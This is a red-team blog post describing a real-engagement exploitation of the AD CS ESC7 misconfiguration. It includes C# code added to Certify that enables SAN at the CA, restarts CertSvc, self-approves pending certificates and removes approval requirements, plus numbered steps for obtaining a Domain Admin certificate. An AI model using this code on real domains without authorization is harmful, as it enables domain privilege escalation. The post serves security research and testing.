BlackArrow blog header

AD CS: weaponizing the ESC7 attack

Introduction to AD CS ESC7

Last year, SpecterOps published an in-depth research about the security state in Active Directory Certificate Services (AD CS) that is still a common topic of debate around the community. The technical paper, layouts different attacks around misconfigurations in these services that can lead to privilege escalation or act as a persistence mechanism.

At the same time, different tools were released around this topic, some to exploit these weaknesses (Certify y ForgeCert) and others to audit an AD CS environment looking for potential misconfigurations (PSPKIAudit).

As a Red Team, we have relied on these new vectors in different engagements throughout the last months, mainly to escalate and keep the acquired privileges. In this context, the techniques labeled as ESC1 and ESC8 were the most used, being the attacks most well documented on the internet due to their effectiveness. 

In this post we are going to focus on the attack known as ESC7, detailing a real scenario that we have faced recently in one of our Red Team engagements. The following topics will be discussed: 

  • Delve into the abuse of the ManageCA and ManageCertificates rights to compromise an Active Directory. 
  • Our additions to Certify that automate this attack. 

ESC7 Attack details

During the engagement, Certify reported the presence of a CA (Certificate Authority) with an ACL that granted the ManageCA and ManageCertificate right to the Authenticated Users group, which in other words means that any domain account has these permissions.

According to SpecterOps’ research this configuration has the following risks: 

  • ManageCA allows a user to change the CA’s settings, which, among other things, can be used to turn on SAN (Subject Alternative Name) to all the templates managed by the CA. SAN is an extension that allows a user to request a certificate linked to additional identities. This is the key behind the attack ESC1, because if a template has this extension, it is possible to request a valid certificate for any domain account. As we said, turning this on at CA level, makes the extension available to all the CA’s templates even if they don’t have it individually (allowing for the attack ESC6). 
  • ManageCertificates is less sensitive from a security perspective, but it allows a user to issue certificates that are pending approval.    

In this scenario, the only requirements for executing ESC7 are to turn on the SAN extension for the CA and look for any template that allows for user authentication in which a low privilege user can enroll, thus, allowing all the necessary steps to request a certificate linked to a high privileged user.

In the SpecterOps’ paper, the first step is accomplished with a PowerShell module called PSPKI, which is too big and with too many dependencies to be used reliably in a hostile environment. 

With these constraints, we decided to implement this feature as a new Certify module to aid in the exploitation in a real environment with a mature level of monitoring.

This feature relies on the ICertAdmin2::SetConfigEntry DCOM method to remotely edit the EditFlags CA’s registry key, enabling the EDITF_ATTRIBUTESUBJECTALTNAME2 attribute: 

CERTADMINLib.ICertAdmin2 objCertAdmin = new CERTADMINLib.CCertAdmin();

try
{
  if (enableSAN)
  {
    // read the current configuration 
	var entry = objCertAdmin.GetConfigEntry(CA, @"PolicyModules\CertificateAuthority_MicrosoftDefault.Policy", "EditFlags");

	// 0x00040000 ==  EDITF_ATTRIBUTESUBJECTALTNAME2 
	if (((int)entry & 0x00040000) == 0x00040000)
	{
		Console.WriteLine("\r\n[*] EDITF_ATTRIBUTESUBJECTALTNAME2 is already enabled. No changes required.");
	}
	else
	{
		// flip the EDITF_ATTRIBUTESUBJECTALTNAME2 bit
		var newValue = (int)entry | 0x00040000;
		objCertAdmin.SetConfigEntry(CA, @"PolicyModules\CertificateAuthority_MicrosoftDefault.Policy", "EditFlags", newValue);
		Console.WriteLine("\r\n[*] EDITF_ATTRIBUTESUBJECTALTNAME2 enabled!");
	}
  }
}

In our laboratory, after making this change, we observed that issuing a certificate linked to another user didn’t work as it was supposed to. This led us to discover, that at least in our test environment, it was necessary to restart the CA service to apply the change. This fact is not discussed in the original research, and we are unsure if it applies to all the environments. In any case, the ManageCA permission also allows a user to restart the CA service: 

ServiceController sc = new ServiceController("CertSvc", computerName);

try
{
	if (sc.Status == ServiceControllerStatus.Running)
	{
		sc.Stop();
		sc.WaitForStatus(ServiceControllerStatus.Stopped);
	}

	sc.Start();
	sc.WaitForStatus(ServiceControllerStatus.Running);

	Console.WriteLine("\r\n[*] CertSvc service restarted!");

}
catch (Exception e)
{
	Console.WriteLine($"[X] Error restarting CA service (CertSvc): {e}");
	return;
}

At this point, all seemed ready to perform the attack in our client’s network. Looking at the available templates, we chose User as it fulfilled all the requirements to carry out the attack: any user could enroll, it was valid for authentication and it did not need approval. 

Template User data
Template User data

After successfully changing the CA configuration to enable the SAN extension we enrolled a new certificate linked to a Domain Admin using the User template, getting the following output from Certify: 

The certificate is still pending
The certificate is still pending 

This caught us by surprise since the template information showed that no approval was required. We tried with different templates but got the same result so we went back to our laboratory to analyze this behavior and see if we could do something about it. 

Certificate Approval 

This requirement usually applies to a template and leaves new certificates in a pending state until a user with the ManageCertificates permission approves them. We already had this permission, so in order to approve our own certificates we decided to add support for this operation in Certify

This process is relatively simple to perform, using the ICertAdmin2::ResubmitRequest DCOM method with the certificate’s request id (Request ID): 

// issues a pending for approval certificate. ManageCertificates right required
public static void IssuePendingCertificate(string CA, int requestId)
{
	CERTADMINLib.ICertAdmin2 objCertAdmin = new CERTADMINLib.CCertAdmin();

	var result = objCertAdmin.ResubmitRequest(CA, requestId);

	if (result == 3)
	{
		Console.WriteLine("\r\n[*] Certificate issued!");
	}
	else
	{
		Console.WriteLine("[X] Error issuing pending certificate.");
	}
}

In any case, this didn’t explain why our certificate needed approval since the template’s configuration didn’t have this requirement.

Additional research in our laboratory led us to find the source of this behavior: there is a CA setting that forces the approval of all the templates, independently of each template configuration.

As in the case of the EDITF_ATTRIBUTESUBJECTALTNAME2 attribute, this setting has preference over the templates’ config. Additionally, it seems that Certify doesn’t consider this fact, as it does not report this requirement. 

You can force the approval requirement at CA level in the CA’s properties dialog, using Windows’s MMC, with the highlighted option in the following picture: 

Configuration to force approval for all the CA templates
Configuration to force approval for all the CA templates

Even though the ability to approve any certificate is enough to execute the different attacks in most cases (you approve your own certificate request), there may be some situations in which it is more convenient to disable this setting in the CA itself. The next section describes one of these situations, but it could also be useful if you want to get the certificate in a single step or you are using another tool that do not support pending certificates. 

To help in these scenarios, we also added this functionality to Certify, using in this case the ICertAdmin2::SetConfigEntry DCOM method to change the RequestDisposition CA’s registry key (this operation also requires a service restart to apply the changes), thus disabling the REQDISP_PENDINGFIRST attribute: 

if (removeApproval)
{
	// read the current configuration 
	var entry = objCertAdmin.GetConfigEntry(CA, @"PolicyModules\CertificateAuthority_MicrosoftDefault.Policy", "RequestDisposition");

	// 0x00000100 ==  REQDISP_PENDINGFIRST
	if (((int)entry & 0x00000100) ==  0)
	{
		Console.WriteLine("\r\n[*] The CA is not forcing the approval of requested certificates. No changes required.");
	}
	else
	{
		// Edit the registry entry RequestDisposition to remove the mandatory approval for requested certificates
		var newValue = (int)entry & 0x11111011;
		objCertAdmin.SetConfigEntry(CA, @"PolicyModules\CertificateAuthority_MicrosoftDefault.Policy", "RequestDisposition", newValue);
		Console.WriteLine("\r\n[*] Approval for requested certificates has been removed.");
	}
}

ESC7 Attack execution

At this point, executing ESC7 to escalate privileges in the domain using our latest additions to Certify goes as follows: 

  1. Detect CAs that allow low privileged users the ManageCA permission. If you have this kind of access, you can add other permissions like ManageCertificates. 
Finding vulnerable CAs
Finding vulnerable CAs
  1. Change the CA settings to enable the SAN extension for all the templates under the vulnerable CA (ESC6). As we explained, in our case we needed to restart the CA service, so there’s an optional flag to perform that action. 
Turn on SAN at CA’s level
Turn on SAN at CA’s level
  1. Request the certificate with the desired SAN.
Request the certificate with the desired SAN
Request the certificate with the desired SAN
  1. If the certificate requires approval, you can approve it yourself with the ManageCertificates  permission. Then you can download it: 
Issuing a certificate pending of approval
Issuing a certificate pending of approval 
Downloading the certificate
Downloading the certificate
  1. As an alternative, you could also disable this requirement for all the CA’s templates beforehand and request a new one free of this constraint: 
Disabling the approval requirement
Disabling the approval requirement 

After performing these steps in our client’s network, we were able to execute ESC7 satisfactorily, and obtain a valid certificate linked to a Domain Admin. However, when we tried to use the certificate to ask for a TGT we got the following error: 

rubeus Error KDC_ERR_PDATA_TYPE_NOSUPP
Error KDC_ERR_PDATA_TYPE_NOSUPP

Going back to the lab, we were able to replicate this error after revoking and deleting the Domain Controller’s certificates, which, in our opinion, links this error to a scenario where the Domain Controllers do not have valid certificates for authentication purposes (maybe they were revoked or have expired) and they can’t obtain new certificates from a trusted CA.

This would explain the situation in our client’s environment, because having the attribute REQDISP_PENDINGFIRST means that DC’s new certificate requests would be stuck in a pending approval state, preventing them from getting the new certificates. 

After listing the existing certificate requests pending approval in the CA, we confirmed that the domain controllers were automatically trying to obtain a valid certificate (apparently on a monthly basis), so it is likely that disabling the REQDISP_PENDINGFIRST attribute in the CA would have fixed the aforementioned certificate authentication problem. However, for logistical reasons and to avoid damaging the operability of the client’s environment, we decided to stop at this point and not make any further changes. 

In this context and others where it’s not possible to compromise the Active Directory through ESC7, several ways to compromise the CA by abusing the ManageCA permission will be discussed in a future post.

Conclusion 

In this post, we have revisited the attack known as ESC7, adding different modules to Certify to aid in ESC7 exploitation which, for now, are available in our repository.

In the next article we will be publishing new ways of abusing the ManageCA privilege to compromise the CA’s server, thereby allowing new attack vectors against AD CS that will be of particular relevance in cases where it is not feasible to request certificates directly.

More articles in this series about AD CS

This article is part of a series of articles about AD CS

  1. AD CS: weaponizing the ESC7 attack
  2. AD CS: from ManageCA to RCE